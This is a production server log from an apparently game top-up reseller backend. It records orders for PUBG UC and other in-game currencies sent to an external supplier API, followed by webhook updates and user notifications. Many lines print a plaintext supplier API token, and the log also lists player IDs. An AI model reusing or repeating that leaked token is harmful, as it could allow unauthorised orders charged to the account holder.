[2026-03-24 19:39:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=cc4b223b-e8d0-489b-91e9-97b1bb4832af&Player_ID=52166876930","has_body":false} 
[2026-03-24 19:39:51] production.INFO: Operation sent successfully {"operation_id":164130,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TRQcjIO-1774370391","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:39:51"}},"processed_data":{"order_number":"ORD-TRQcjIO-1774370391","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 19:39:53] production.INFO: Constructing job for order: 179245  
[2026-03-24 19:39:54] production.INFO: Handling job for order: 179245  
[2026-03-24 19:39:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:39:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:39:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=b1cffa1f-1f1b-424c-9ca6-fe10bf8ca409&Player_ID=52166876930  
[2026-03-24 19:39:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=b1cffa1f-1f1b-424c-9ca6-fe10bf8ca409&Player_ID=52166876930","has_body":false} 
[2026-03-24 19:39:55] production.INFO: Operation sent successfully {"operation_id":164131,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Lgp-1774370395","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:39:55"}},"processed_data":{"order_number":"ORD-Lgp-1774370395","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 19:40:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TRQcjIO-1774370391","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:40:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-TRQcjIO-1774370391","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:40:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:40:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1074,"notification_type":"order_approved","reference_id":179244} 
[2026-03-24 19:40:03] production.INFO: Order updated successfully. Order ID: 179244, Status: completed  
[2026-03-24 19:40:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TRQcjIO-1774370391","status":"completed","codes_count":0} 
[2026-03-24 19:40:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04"} 
[2026-03-24 19:40:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","total_operations":3,"sites_count":1} 
[2026-03-24 19:40:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-CHfW6U3-1774370237","ORD-RRNC8-1774370280","ORD-Lgp-1774370395"]} 
[2026-03-24 19:40:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:40:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 19:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lgp-1774370395","operation_id":164131} 
[2026-03-24 19:40:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 19:40:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:40:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"count":2} 
[2026-03-24 19:40:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"count":2} 
[2026-03-24 19:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"user_id":312,"notification_type":"order_approved","reference_id":179236} 
[2026-03-24 19:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"user_id":32,"notification_type":"order_approved","reference_id":179238} 
[2026-03-24 19:40:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:40:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:40:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"processed":2,"errors":0} 
[2026-03-24 19:40:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"processed":2,"errors":0} 
[2026-03-24 19:40:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"wOUHfi8bSSkMVEArkjs5yRSC9nieIxJL","execution_time":"2026-03-24 19:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124} 
[2026-03-24 19:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 19:40:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 19:40:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-RRNC8-1774370280","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:40:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-RRNC8-1774370280","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:40:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:40:06] production.ERROR: Order not found or already processed. External ID: ORD-RRNC8-1774370280  
[2026-03-24 19:40:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-RRNC8-1774370280","status":"completed","codes_count":0} 
[2026-03-24 19:40:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-CHfW6U3-1774370237","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:40:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-CHfW6U3-1774370237","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:40:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:40:06] production.ERROR: Order not found or already processed. External ID: ORD-CHfW6U3-1774370237  
[2026-03-24 19:40:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-CHfW6U3-1774370237","status":"completed","codes_count":0} 
[2026-03-24 19:40:06] production.INFO: async() رجع: true  
[2026-03-24 19:40:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:40:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:40:08] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:40:09] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:40:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 19:40:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 19:40:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 19:40:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Lgp-1774370395","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:40:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-Lgp-1774370395","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:40:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:40:11] production.INFO: SendAcceptReject: Notification queued {"user_id":1074,"notification_type":"order_approved","reference_id":179245} 
[2026-03-24 19:40:11] production.INFO: Order updated successfully. Order ID: 179245, Status: completed  
[2026-03-24 19:40:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Lgp-1774370395","status":"completed","codes_count":0} 
[2026-03-24 19:40:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 19:40:36] production.INFO: SendAcceptReject: Notification queued {"user_id":1572,"notification_type":"request_approved","reference_id":18685} 
[2026-03-24 19:40:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1572  
[2026-03-24 19:40:44] production.INFO: SendAcceptReject: Notification queued {"user_id":14,"notification_type":"order_approved","reference_id":179235} 
[2026-03-24 19:40:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 19:40:51] production.INFO: Constructing job for order: 179248  
[2026-03-24 19:40:54] production.INFO: Handling job for order: 179248  
[2026-03-24 19:40:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:40:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:40:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f095484a-44e3-48ce-8cb5-3ca8dd7670e9&Player_ID=51815722666  
[2026-03-24 19:40:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=f095484a-44e3-48ce-8cb5-3ca8dd7670e9&Player_ID=51815722666","has_body":false} 
[2026-03-24 19:40:54] production.INFO: Operation sent successfully {"operation_id":164132,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5cU5gj0-1774370454","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:40:54"}},"processed_data":{"order_number":"ORD-5cU5gj0-1774370454","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:41:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-5cU5gj0-1774370454","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:41:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-5cU5gj0-1774370454","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:41:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:41:06] production.INFO: SendAcceptReject: Notification queued {"user_id":459,"notification_type":"order_approved","reference_id":179248} 
[2026-03-24 19:41:06] production.INFO: Order updated successfully. Order ID: 179248, Status: completed  
[2026-03-24 19:41:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-5cU5gj0-1774370454","status":"completed","codes_count":0} 
[2026-03-24 19:41:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 459  
[2026-03-24 19:41:07] production.INFO: Constructing job for order: 179249  
[2026-03-24 19:41:10] production.INFO: Handling job for order: 179249  
[2026-03-24 19:41:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:41:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:41:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=20000&uuid=84ae0299-398e-499e-8d0a-8a18447eb687&Player_ID=62244857  
[2026-03-24 19:41:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=20000&uuid=84ae0299-398e-499e-8d0a-8a18447eb687&Player_ID=62244857","has_body":false} 
[2026-03-24 19:41:10] production.INFO: Operation sent successfully {"operation_id":164133,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-lOEWRkc-1774370470","amount":4.793654000000000081627149484120309352874755859375,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 19:41:10"}},"processed_data":{"order_number":"ORD-lOEWRkc-1774370470","amount":4.793654000000000081627149484120309352874755859375,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 19:41:26] production.INFO: SendAcceptReject: Notification queued {"user_id":125,"notification_type":"order_approved","reference_id":179246} 
[2026-03-24 19:41:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:42:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04"} 
[2026-03-24 19:42:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","total_operations":1,"sites_count":1} 
[2026-03-24 19:42:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-lOEWRkc-1774370470"]} 
[2026-03-24 19:42:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:42:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:42:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 19:42:05] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:42:05] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"count":1} 
[2026-03-24 19:42:05] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"count":1} 
[2026-03-24 19:42:05] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"user_id":194,"notification_type":"order_approved","reference_id":179249} 
[2026-03-24 19:42:05] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:42:05] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:42:05] production.INFO: Batch update completed {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"processed":1,"errors":0} 
[2026-03-24 19:42:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133,"processed":1,"errors":0} 
[2026-03-24 19:42:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"UvIzb1Tp5qqnsaBVvjWb6jXOv5DoxnAZ","execution_time":"2026-03-24 19:42:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-lOEWRkc-1774370470","operation_id":164133} 
[2026-03-24 19:42:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 19:42:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lOEWRkc-1774370470","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:42:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-lOEWRkc-1774370470","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:42:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:42:06] production.ERROR: Order not found or already processed. External ID: ORD-lOEWRkc-1774370470  
[2026-03-24 19:42:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lOEWRkc-1774370470","status":"completed","codes_count":0} 
[2026-03-24 19:42:09] production.INFO: Constructing job for order: 179250  
[2026-03-24 19:42:11] production.INFO: Handling job for order: 179250  
[2026-03-24 19:42:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:42:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:42:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=a5ad1439-0642-49fe-9085-4442b3b94ce3&Player_ID=4631414  
[2026-03-24 19:42:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=a5ad1439-0642-49fe-9085-4442b3b94ce3&Player_ID=4631414","has_body":false} 
[2026-03-24 19:42:11] production.INFO: Operation sent successfully {"operation_id":164134,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gIzM74K-1774370531","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 19:42:11"}},"processed_data":{"order_number":"ORD-gIzM74K-1774370531","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 19:42:13] production.INFO: SendAcceptReject: Notification queued {"user_id":125,"notification_type":"order_approved","reference_id":179247} 
[2026-03-24 19:42:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:42:22] production.INFO: Constructing job for order: 179251  
[2026-03-24 19:42:24] production.INFO: Handling job for order: 179251  
[2026-03-24 19:42:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:42:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:42:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=58f4a586-200d-4ef8-87df-f922d6508786&Player_ID=52331977818  
[2026-03-24 19:42:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=58f4a586-200d-4ef8-87df-f922d6508786&Player_ID=52331977818","has_body":false} 
[2026-03-24 19:42:24] production.INFO: Operation sent successfully {"operation_id":164135,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ETrNnCZ-1774370544","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:42:24"}},"processed_data":{"order_number":"ORD-ETrNnCZ-1774370544","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:42:33] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ETrNnCZ-1774370544","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:42:33] production.INFO: Processed webhook data (normalized) {"id":"ORD-ETrNnCZ-1774370544","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:42:33] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:42:33] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":179251} 
[2026-03-24 19:42:33] production.INFO: Order updated successfully. Order ID: 179251, Status: completed  
[2026-03-24 19:42:33] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ETrNnCZ-1774370544","status":"completed","codes_count":0} 
[2026-03-24 19:42:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 19:43:15] production.INFO: Constructing job for order: 179252  
[2026-03-24 19:43:18] production.INFO: Handling job for order: 179252  
[2026-03-24 19:43:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:43:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:43:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=88c09117-662f-4640-a3de-5f2389406c69&Player_ID=52336006943  
[2026-03-24 19:43:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=88c09117-662f-4640-a3de-5f2389406c69&Player_ID=52336006943","has_body":false} 
[2026-03-24 19:43:19] production.INFO: Operation sent successfully {"operation_id":164136,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-sjcNQ-1774370599","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:43:19"}},"processed_data":{"order_number":"ORD-sjcNQ-1774370599","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 19:43:30] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-sjcNQ-1774370599","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:43:30] production.INFO: Processed webhook data (normalized) {"id":"ORD-sjcNQ-1774370599","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:43:30] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:43:30] production.INFO: SendAcceptReject: Notification queued {"user_id":1750,"notification_type":"order_approved","reference_id":179252} 
[2026-03-24 19:43:30] production.INFO: Order updated successfully. Order ID: 179252, Status: completed  
[2026-03-24 19:43:30] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-sjcNQ-1774370599","status":"completed","codes_count":0} 
[2026-03-24 19:43:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1750  
[2026-03-24 19:43:35] production.INFO: Constructing job for order: 179253  
[2026-03-24 19:43:37] production.INFO: Handling job for order: 179253  
[2026-03-24 19:43:37] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:43:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:43:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8048afa6-70f8-4fa1-aa7a-adf1d8580c4e&Player_ID=52087389187  
[2026-03-24 19:43:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8048afa6-70f8-4fa1-aa7a-adf1d8580c4e&Player_ID=52087389187","has_body":false} 
[2026-03-24 19:43:38] production.INFO: Operation sent successfully {"operation_id":164137,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TsNSnM3H-1774370618","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:43:38"}},"processed_data":{"order_number":"ORD-TsNSnM3H-1774370618","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:43:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TsNSnM3H-1774370618","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:43:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-TsNSnM3H-1774370618","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:43:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:43:49] production.INFO: SendAcceptReject: Notification queued {"user_id":16,"notification_type":"order_approved","reference_id":179253} 
[2026-03-24 19:43:49] production.INFO: Order updated successfully. Order ID: 179253, Status: completed  
